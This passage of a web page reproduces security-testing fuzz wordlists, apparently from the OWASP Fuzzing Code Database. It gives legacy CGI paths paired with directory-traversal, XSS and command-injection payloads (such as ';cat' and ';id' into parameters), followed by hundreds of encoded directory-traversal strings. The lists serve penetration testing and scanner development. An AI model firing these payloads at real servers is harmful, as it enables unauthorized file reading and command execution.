sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> 